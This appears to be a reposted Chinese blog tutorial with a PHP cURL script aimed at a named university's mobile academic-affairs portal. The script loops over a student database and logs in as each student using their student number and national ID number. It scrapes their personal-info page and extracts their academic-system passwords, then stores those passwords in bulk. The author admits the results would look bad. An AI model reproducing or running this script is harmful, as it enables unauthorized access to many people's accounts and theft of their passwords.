cURL实现模拟登陆+抓取数据

来源:互联网 发布:苏联巅峰 知乎 编辑:程序博客网 时间:2024/05/16 09:13

昨天用到了php中的cURL扩展,想利用cURL做一些实例,我想到一个例子,模拟登陆到我们学校的手机版教务处,然后抓取个人信息里面保存的正方教务处密码。
手机版教务处:http://211.70.176.123/wap

<?php//1、连接数据库,获取学生信息include ('./curlUtils.php');//curl工具类include ('./Mysql.class.php');//mysql工具类set_time_limit(0);//设置不间断执行$data = Mysql::getAll("select * from student");//所有的学生信息foreach ($data as $stu){    //2、模拟登陆,获取cookie    $cookie = login($stu['xh'],$stu['sfzh']);    //3、获取学生的个人信息    $info = getInfo($cookie);    //4、利用正则解析数据    $pwd = parseData($info);    //5、写入数据库    add($stu['xh'],$pwd);}/** * 将密码数据写入到数据库中 * @param [type] $pwd [description] */function add($xh,$pwd){    $data = ['pwd'=>$pwd];    Mysql::exec('student',$data,'update','xh = '.$xh);}/** * 利用正则解析数据,返回教务处PC端登陆密码 * @return [type] [description] */function parseData($info){    preg_match_all("/<td align=\"center\" width=\"150\" height=\"22\" valign=\"middle\">.+<\/td>/",$info,$matches);    if(empty($matches[0][5])) {        return '';      }    $dom = new DOMDocument();    $dom->loadHTML($matches[0][5]);    $tdList = $dom->getElementsByTagName("td");    $td = $tdList->item(0);    $pwd = $td->childNodes->item(0)->wholeText;    return $pwd;}/** * 模拟登陆,获取Cookie * @return [type] [description] */function login($xh,$sfzh){    $curl = new CurlUtils("http://211.70.176.123/wap/index.asp",true);    $value = "xh=$xh&sfzh=$sfzh";    file_put_contents('result.html', $curl->post($value));    $fh = fopen('result.html', 'r');    $headers = [];    for($i=0;$i<8;$i++){           $headers[] = fgets($fh);    }    fclose($fh);    return substr($headers[6], 12);}/** * 获取学生的个人信息 * @return [type] [description] */function getInfo($cookie){    $curl = new CurlUtils("http://211.70.176.123/wap/grxx.asp");    $value = ["Cookie: $cookie"];     $curl->addHeader($value);    return $curl->get();}?>

上面的代码主要有5个步骤:
1、查询数据库中的全部学生
2、循环遍历学生,模拟登陆,获取cookie
3、携带cookie获取学生的个人信息
4、利用正则解析数据,返回教务处PC端登陆密码
5、写入数据库

注:上面用到了两个工具类,都是我以前就封装好的,都开源到博客上了。
curlUtils工具类:http://blog.csdn.net/baochao95/article/details/55105748
Mysql工具类:http://blog.csdn.net/baochao95/article/details/52055353

图我就不贴了,毕竟影响不好!

扩展:
1、我们还可以自己制作API来判断学生是否属于这个学校
2、判断学生是否为计算机学院的学生

0 0
原创粉丝点击